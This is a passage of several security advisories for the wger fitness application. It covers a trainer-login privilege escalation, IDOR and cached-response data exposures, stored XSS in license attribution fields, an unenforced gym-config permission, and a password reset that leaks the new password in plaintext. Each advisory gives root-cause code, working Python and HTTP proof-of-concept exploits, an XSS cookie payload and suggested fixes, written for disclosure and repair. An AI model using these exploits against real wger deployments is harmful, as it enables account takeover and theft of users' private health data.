5. Via the permissions endpoint, potentially modify victim permissions (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).

Affected deployments: every wger instance where gym.gym_trainer + gym.add_adminusernote are delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).

This is structurally the same bug class as the sibling findings affecting trainer_login and reset_user_password (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - warrants a shared same_gym() helper applied across all five views.

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:

# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.

import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
    r = s.get(f'{BASE}/api/v2/userprofile/',
              headers={'Accept': 'application/json'})
    return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print("  PoC: Trainer Login Privilege Escalation")
print("  wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print("         trainer1 has ONLY 'gym.gym_trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
    'username': 'trainer1',
    'password': 'pass1234',
    'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"         Current user  : {whoami()}")
print(f"         Permission    : gym.gym_trainer (NOT manage_gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("         This is ALLOWED — trainer1 has gym_trainer permission")
print("         Side effect: session['trainer.identity'] = trainer1_pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"         Current user  : {whoami()}")
print(f"         Session flag  : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("         regular1 has ZERO permissions")
print("         BUT session['trainer.identity'] is set from Step 2")
print("         Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"         Current user  : {result}")

# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
    print("  RESULT : !! VULNERABLE !!")
    print("  trainer1 (gym_trainer) is now logged in as manager1")
    print("  manager1 has 'gym.manage_gym' — full gym admin access")
else:
    print("  RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)

Output on wger 2.5.0a2:

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.

Vulnerable code (user.py:169–178):

if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
    return HttpResponseForbidden()

if request.user.has_perm('gym.gym_trainer') and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Suggested fix:

trainer_identity_pk = request.session.get('trainer.identity')

if not request.user.has_perm('gym.gym_trainer'):
    if not trainer_identity_pk:
        return HttpResponseForbidden()
    # Verify the original trainer in the session still holds the permission
    original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
    if not original_trainer.has_perm('gym.gym_trainer'):
        return HttpResponseForbidden()

# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
    user.has_perm('gym.gym_trainer')
    or user.has_perm('gym.manage_gym')
    or user.has_perm('gym.manage_gyms')
):
    return HttpResponseForbidden()

Summary

Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.

The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).

An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.

Description

wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.

The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has_object_permission) grants read access to any authenticated user when the routine has is_template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    if obj.is_template:                                  # ← any template is readable
        return request.method in permissions.SAFE_METHODS  # by any authenticated user

    return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    out = LogDisplaySerializer(
        self.get_object().logs_display(),   # ← returns OWNER's logs, not request.user's
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    out = LogStatsDataSerializer(
        self.get_object().calculate_log_statistics()  # ← owner's statistics
    ).data
    return Response(out)

self.get_object() retrieves the routine belonging to the owner (e.g., user A). Since is_template=True passes the permission check for any authenticated user, the attacker's request reaches logs_display() and calculate_log_statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

1. Enumerate all public template routines across all users: GET /api/v2/routine/?is_template=true&is_public=true

2. Read private workout session notes (freeform text entered by the victim after each workout session)

3. Read full workout history including exercise names, weights, repetitions, and dates

4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

• alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.

• bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is_template=true.

Step-by-step

1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.

2. Bob calls GET /api/v2/routine/?is_template=true&is_public=true this lists all public template routines from all users across the platform, including their IDs.

3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.

4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:   GET /api/v2/routine/{id}/logs/
          GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE_URL = "http://TARGET_IP"  # replace with target


def get_token(username, password):
    r = requests.post(
        f"{BASE_URL}/api/v2/token",
        json={"username": username, "password": password},
    )
    r.raise_for_status()
    return r.json()["access"]


def exploit(attacker_token):
    headers = {"Authorization": f"Bearer {attacker_token}"}

    # Step 1: Enumerate all public template routines (from ALL users)
    print("[*] Step 1: Enumerating public template routines...")
    r = requests.get(
        f"{BASE_URL}/api/v2/routine/",
        params={"is_template": "true", "is_public": "true"},
        headers=headers,
    )
    routines = r.json().get("results", [])
    print(f"[+] Found {len(routines)} public template routine(s)\n")

    for routine in routines:
        routine_id = routine["id"]
        routine_name = routine["name"]
        print(f"[*] Targeting routine #{routine_id}: '{routine_name}'")

        # Step 2: Fetch the OWNER's workout session logs (IDOR)
        logs_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/logs/",
            headers=headers,
        )

        if logs_r.status_code == 200:
            sessions = logs_r.json()
            print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
            for session in sessions:
                s = session.get("session", {})
                print(f"    Date:       {s.get('date')}")
                print(f"    Notes:      {s.get('notes')}")   # ← private user notes
                print(f"    Impression: {s.get('impression')}")
                print(f"    Logs:       {len(session.get('logs', []))} exercise entries")
                print()

        # Step 3: Fetch the OWNER's training statistics (IDOR)
        stats_r = requests.get(
            f"{BASE_URL}/api/v2/routine/{routine_id}/stats/",
            headers=headers,
        )

        if stats_r.status_code == 200:
            stats = stats_r.json()
            print(f"[+] Training statistics for routine #{routine_id}:")
            volume = stats.get("volume", {}).get("mesocycle", {})
            print(f"    Total volume:      {volume.get('total')} kg")
            print(f"    Upper body volume: {volume.get('upper_body')} kg")
            print(f"    Lower body volume: {volume.get('lower_body')} kg")
            print()

        print("-" * 60)


if __name__ == "__main__":
    # Attacker uses their OWN credentials (no privilege needed)
    print("[*] Authenticating as attacker (bob)...")
    token = get_token("bob", "bobpassword")
    print(f"[+] Token acquired\n")

    exploit(token)

Expected output

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
    Date:       2024-06-15
    Notes:      SECRET workout note      ← alice's private note
    Impression: 3
    Logs:       0 exercise entries

[+] Training statistics for routine #1:
    Total volume:      0.00 kg
    Upper body volume: 0.00 kg
    Lower body volume: 0.00 kg

Recommended Fix

The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.

# wger/manager/api/views.py

@action(detail=True, url_path='logs')
def logs(self, request, pk):
    routine = self.get_object()
    # Only return logs for the requesting user, regardless of routine ownership
    out = LogDisplaySerializer(
        routine.logs_display(user=request.user),
        many=True,
    ).data
    return Response(out)

@action(detail=True, url_path='stats')
def stats(self, request, pk):
    routine = self.get_object()
    out = LogStatsDataSerializer(
        routine.calculate_log_statistics(user=request.user)
    ).data
    return Response(out)

Additionally, RoutinePermission.has_object_permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is_template:

def has_object_permission(self, request, view, obj):
    if obj.user == request.user:
        return True

    # Template routines are readable, but only their structure 
    # never their owner's personal training history
    if obj.is_template and view.action not in ('logs', 'stats'):
        return request.method in permissions.SAFE_METHODS

    return False

Stored XSS via Unescaped License Attribution Fields

Summary

The AbstractLicenseModel.attribution_link property in wger/utils/models.py constructs HTML strings by directly interpolating user-controlled fields (license_author, license_title, license_object_url, license_author_url, license_derivative_source_url) without any escaping. The resulting HTML is rendered in the ingredient view template using Django's |safe filter, which disables auto-escaping. An authenticated user can create an ingredient with a malicious license_author value containing JavaScript, which executes when any user (including unauthenticated visitors) views the ingredient page.

Severity

High (CVSS 3.1: ~7.6)

• Low-privilege attacker (any authenticated non-temporary user)
• Stored XSS — persists in database
• Triggers on a public page (no authentication needed to view)
• Can steal session cookies, perform actions as other users, redirect to phishing

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected Components

Vulnerable Property

File: wger/utils/models.py:88-110

@property
def attribution_link(self):
    out = ''
    if self.license_object_url:
        out += f'<a href="{self.license_object_url}">{self.license_title}</a>'
    else:
        out += self.license_title  # NO ESCAPING
    out += ' by '
    if self.license_author_url:
        out += f'<a href="{self.license_author_url}">{self.license_author}</a>'
    else:
        out += self.license_author  # NO ESCAPING
    out += f' is licensed under <a href="{self.license.url}">{self.license.short_name}</a>'
    if self.license_derivative_source_url:
        out += (
            f'/ A derivative work from <a href="{self.license_derivative_source_url}">the '
            f'original work</a>'
        )
    return out

Unsafe Template Rendering

File: wger/nutrition/templates/ingredient/view.html

• Line 171: {{ ingredient.attribution_link|safe }}
• Line 226: {{ image.attribution_link|safe }}

Writable Entry Point

File: wger/nutrition/views/ingredient.py:154-175

class IngredientCreateView(WgerFormMixin, CreateView):
    model = Ingredient
    form_class = IngredientForm  # includes license_author field

URL: login_required(ingredient.IngredientCreateView.as_view()) — any authenticated non-temporary user.

Form fields (from wger/nutrition/forms.py:295-313): includes license_author (TextField, max_length=3500) — no sanitization.

Models Affected

6 models inherit from AbstractLicenseModel:

• Exercise, ExerciseImage, ExerciseVideo, Translation (exercises module)
• Ingredient, Image (nutrition module)

Only the Ingredient and nutrition Image models' attribution links are currently rendered with |safe in templates.

Root Cause

1. attribution_link constructs raw HTML by string interpolation of user-controlled fields without calling django.utils.html.escape() or django.utils.html.format_html()
2. The template renders the result with |safe, bypassing Django's auto-escaping
3. The license_author field in IngredientForm has no input sanitization
4. The set_author() method only sets a default value if the field is empty — it does not sanitize user-provided values

Reproduction Steps (Verified)

Prerequisites

• A wger instance with user registration enabled (default)
• An authenticated user account (non-temporary)

Steps

1. Register/login to a wger instance

2. Create a malicious ingredient via the web form at /en/nutrition/ingredient/add/:

   • Set Name to any valid name (e.g., "XSS Form Verified")
   • Set Energy to 125, Protein to 10, Carbohydrates to 10, Fat to 5 (energy must approximately match macros)
   • Set Author(s) (license_author) to:

     <img src=x onerror="alert(document.cookie)">
     

   • Submit the form — the form validates and saves successfully with no sanitization

3. View the ingredient page (public URL, no auth needed):

   • Navigate to the newly created ingredient's detail page
   • The XSS payload executes in the browser

Verified PoC Output

The rendered HTML in the ingredient detail page (line 171 of ingredient/view.html) contains:

<small>
     by <img src=x onerror=alert(1)> is licensed under <a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en">CC-BY-SA 3</a>
</small>

The <img> tag with onerror handler is injected directly into the page DOM and executes JavaScript when the browser attempts to load the non-existent image.

Alternative API Path (ExerciseImage)

For users who are "trustworthy" (account >3 weeks old + verified email):

# Upload exercise image with XSS in license_author
curl -X POST https://wger.example.com/api/v2/exerciseimage/ \
  -H "Authorization: Token <token>" \
  -F "exercise=1" \
  -F "image=@photo.jpg" \
  -F 'license_author=<img src=x onerror="alert(document.cookie)">' \
  -F "license=2"

Note: ExerciseImage's attribution_link is not currently rendered with |safe in exercise templates, but the data is stored with XSS payloads and would execute if any template renders it with |safe in the future. The API serializer also returns the unescaped attribution_link data, which could cause XSS in API consumers (mobile apps, SPAs).

Impact

• Session hijacking: Steal admin session cookies to gain full control
• Account takeover: Modify other users' passwords or email addresses
• Data theft: Access other users' workout plans, nutrition data, and personal measurements
• Worm-like propagation: Malicious ingredient could inject XSS that creates more malicious ingredients
• Phishing: Redirect users to fake login pages

Suggested Fix

Replace the attribution_link property with properly escaped HTML using Django's format_html():

from django.utils.html import format_html, escape

@property
def attribution_link(self):
    parts = []

    if self.license_object_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_object_url, self.license_title))
    else:
        parts.append(escape(self.license_title))

    parts.append(' by ')

    if self.license_author_url:
        parts.append(format_html('<a href="{}">{}</a>', self.license_author_url, self.license_author))
    else:
        parts.append(escape(self.license_author))

    parts.append(format_html(
        ' is licensed under <a href="{}">{}</a>',
        self.license.url, self.license.short_name
    ))

    if self.license_derivative_source_url:
        parts.append(format_html(
            '/ A derivative work from <a href="{}">the original work</a>',
            self.license_derivative_source_url
        ))

    return mark_safe(''.join(str(p) for p in parts))

Alternatively, remove the |safe filter from the templates and escape in the property, though this would break the anchor tags.

References

• Django Security: Cross Site Scripting (XSS) protection
• Django format_html() documentation
• OWASP: Stored Cross-Site Scripting

Summary

wger exposes a global configuration edit endpoint at /config/gym-config/edit implemented by GymConfigUpdateView. The view declares permission_required = 'config.change_gymconfig' but does not enforce it because it inherits WgerFormMixin (ownership-only checks) instead of the project’s permission-enforcing mixin (WgerPermissionMixin) .

The edited object is a singleton (GymConfig(pk=1)) and the model does not implement get_owner_object(), so WgerFormMixin skips ownership enforcement. As a result, a low-privileged authenticated user can modify installation-wide configuration and trigger server-side side effects in GymConfig.save().

This is a vertical privilege escalation from a regular user to privileged global configuration control. The application explicitly declares permission_required = 'config.change_gymconfig', demonstrating that the action is intended to be restricted; however, this requirement is never enforced at runtime.

Affected endpoint

The config URLs map as follows.

File: wger/config/urls.py

patterns_gym_config = [
    path('edit', gym_config.GymConfigUpdateView.as_view(), name='edit'),
]

urlpatterns = [
    path(
        'gym-config/',
        include((patterns_gym_config, 'gym_config'), namespace='gym_config'),
    ),
]

This resolves to:

/config/gym-config/edit

Root cause

The view declares a permission but does not enforce it

File: wger/config/views/gym_config.py

class GymConfigUpdateView(WgerFormMixin, UpdateView):
    model = GymConfig
    fields = ('default_gym',)
    permission_required = 'config.change_gymconfig'
    success_url = reverse_lazy('gym:gym:list')
    title = gettext_lazy('Edit')

    def get_object(self):
        return GymConfig.objects.get(pk=1)

The permission string exists, but WgerFormMixin does not check permission_required.

The project’s permission mixin exists but is not used

File: wger/utils/generic_views.py

class WgerPermissionMixin:
    permission_required = False
    login_required = False

    def dispatch(self, request, *args, **kwargs):
        if self.login_required or self.permission_required:
            if not request.user.is_authenticated:
                return HttpResponseRedirect(
                    reverse_lazy('core:user:login') + f'?next={request.path}'
                )

            if self.permission_required:
                has_permission = False
                if isinstance(self.permission_required, tuple):
                    for permission in self.permission_required:
                        if request.user.has_perm(permission):
                            has_permission = True
                elif request.user.has_perm(self.permission_required):
                    has_permission = True

                if not has_permission:
                    return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerPermissionMixin, self).dispatch(request, *args, **kwargs)

GymConfigUpdateView does not inherit this mixin, so none of the login/permission logic runs.

The mixin that is used performs only ownership checks, and GymConfig has no owner

File: wger/utils/generic_views.py

class WgerFormMixin(ModelFormMixin):
    def dispatch(self, request, *args, **kwargs):
        self.kwargs = kwargs
        self.request = request

        if self.owner_object:
            owner_object = self.owner_object['class'].objects.get(pk=kwargs[self.owner_object['pk']])
        else:
            try:
                owner_object = self.get_object().get_owner_object()
            except AttributeError:
                owner_object = False

        if owner_object and owner_object.user != self.request.user:
            return HttpResponseForbidden('You are not allowed to access this object')

        return super(WgerFormMixin, self).dispatch(request, *args, **kwargs)

File: wger/config/models/gym_config.py

class GymConfig(models.Model):
    default_gym = models.ForeignKey(
        Gym,
        verbose_name=_('Default gym'),
        # ...
        null=True,
        blank=True,
        on_delete=models.CASCADE,
    )
    # No get_owner_object() method

Because GymConfig does not implement get_owner_object(), WgerFormMixin catches AttributeError and sets owner_object = False, skipping any access restriction.

Security impact

This is not a cosmetic setting: GymConfig.save() performs installation-wide side effects.

File: wger/config/models/gym_config.py

def save(self, *args, **kwargs):
    if self.default_gym:
        UserProfile.objects.filter(gym=None).update(gym=self.default_gym)

        for profile in UserProfile.objects.filter(gym=self.default_gym):
            user = profile.user
            if not is_any_gym_admin(user):
                try:
                    user.gymuserconfig
                except GymUserConfig.DoesNotExist:
                    config = GymUserConfig()
                    config.gym = self.default_gym
                    config.user = user
                    config.save()

    return super(GymConfig, self).save(*args, **kwargs)

On deployments with multiple gyms, this allows a low-privileged user to tamper with tenant assignment defaults, affecting new registrations and bulk-updating existing users lacking a gym. This permits unauthorized modification of installation-wide state and bulk updates to other users’ records, violating the intended administrative trust boundary.

Proof of concept (local verification)

Environment: local docker compose stack, accessed via http://127.0.0.1:8088/en/.

Observed behavior

An unauthenticated user can reach the endpoint via GET; POST requires authentication and redirects to login. An authenticated low-privileged user can submit the form and change the global singleton. After the save, the application redirects to success_url = reverse_lazy('gym:gym:list') (e.g. /en/gym/list), which is permission-protected; therefore the browser may display a “Forbidden” page even though the global update already succeeded.

DB evidence (before/after)

Before submission:

default_gym_id= None
profiles_gym_null= 1

After a low-privileged user submitted the form setting default_gym to gym id 1:

default_gym_id= 1
profiles_gym_null= 0

Recommended fix

Ensure permission enforcement runs before the form dispatch.

Using the project mixin (order matters):

class GymConfigUpdateView(WgerPermissionMixin, WgerFormMixin, UpdateView):
    permission_required = 'config.change_gymconfig'
    login_required = True

Alternatively, use Django’s PermissionRequiredMixin (and LoginRequiredMixin) directly.

Conclusion

The view explicitly declares permission_required = 'config.change_gymconfig', which demonstrates developer intent that this action be restricted. The fact that it is not enforced constitutes improper access control regardless of perceived business impact.

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:

• Daily caloric intake
• Protein, carbohydrate, fat, fiber, and sodium intake
• Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Summary

Five routine detail action endpoints check a cache before calling self.get_object(). Cache keys are scoped only by pk — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.

Details

wger/manager/api/views.py — five actions follow this pattern (lines 134–201):

@action(detail=True)
def date_sequence_display_mode(self, request, pk=None):
    cache_key = make_routine_api_date_sequence_display_cache_key(pk)
    cached = cache.get(cache_key)
    if cached:
        return Response(cached)   # returned WITHOUT calling self.get_object()
    # only reaches ownership check on cache miss
    routine = self.get_object()
    ...

Cache key construction in wger/utils/cache.py:89–106:

def make_routine_api_date_sequence_display_cache_key(routine_id):
    return f"routine-api-date-sequence-display-{routine_id}"
    # No user ID in key

Cache TTL: 1 month (4 * 604800 seconds, settings_global.py:461).

Affected endpoints:

GET /api/v2/routine/{pk}/date-sequence-display/
GET /api/v2/routine/{pk}/date-sequence-gym/
GET /api/v2/routine/{pk}/structure/
GET /api/v2/routine/{pk}/logs/
GET /api/v2/routine/{pk}/stats/

PoC

1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key "routine-api-structure-5"
2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check

Requires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.

Impact

An attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.

Fix: Include the user ID in the cache key:

def make_routine_api_date_sequence_display_cache_key(routine_id, user_id):
    return f"routine-api-date-sequence-display-{user_id}-{routine_id}"

Or move self.get_object() before the cache lookup so ownership is always verified first.

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

Summary

The reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.

Details

File: wger/gym/views/user.py

The authorization guard in reset_user_password (and the parallel check in gym_permissions_user_edit) uses Django ORM object comparison:

# VULNERABLE - wger/gym/views/user.py
 if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:

password = password_generator()
user.set_password(password)
 user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})

The generated password is rendered verbatim in the response body.

Affected endpoints:

• GET /en/gym/user/<user_pk>/reset-user-password -> wger.gym.views.user.reset_user_password
• GET /en/gym/user/<user_pk>/edit -> wger.gym.views.user.gym_permissions_user_edit

Suggested patch:

 --- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

The _id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list.

PoC

Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage_gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).

Step 1 - Authenticate as trainer with manage_gym permission and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
 
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trigger cross-tenant password reset:

GET /en/gym/user/2/reset-user-password HTTP/1.1
 Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>

Step 3 - Authenticate as victim (alice) using leaked password:

 POST /en/user/login HTTP/1.1
Host: target

username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]
 
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)

RBAC Disproof Protocol (three-scenario test):

• Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
• Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
• Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An attacker with gym.manage_gym permission and gym=None can:

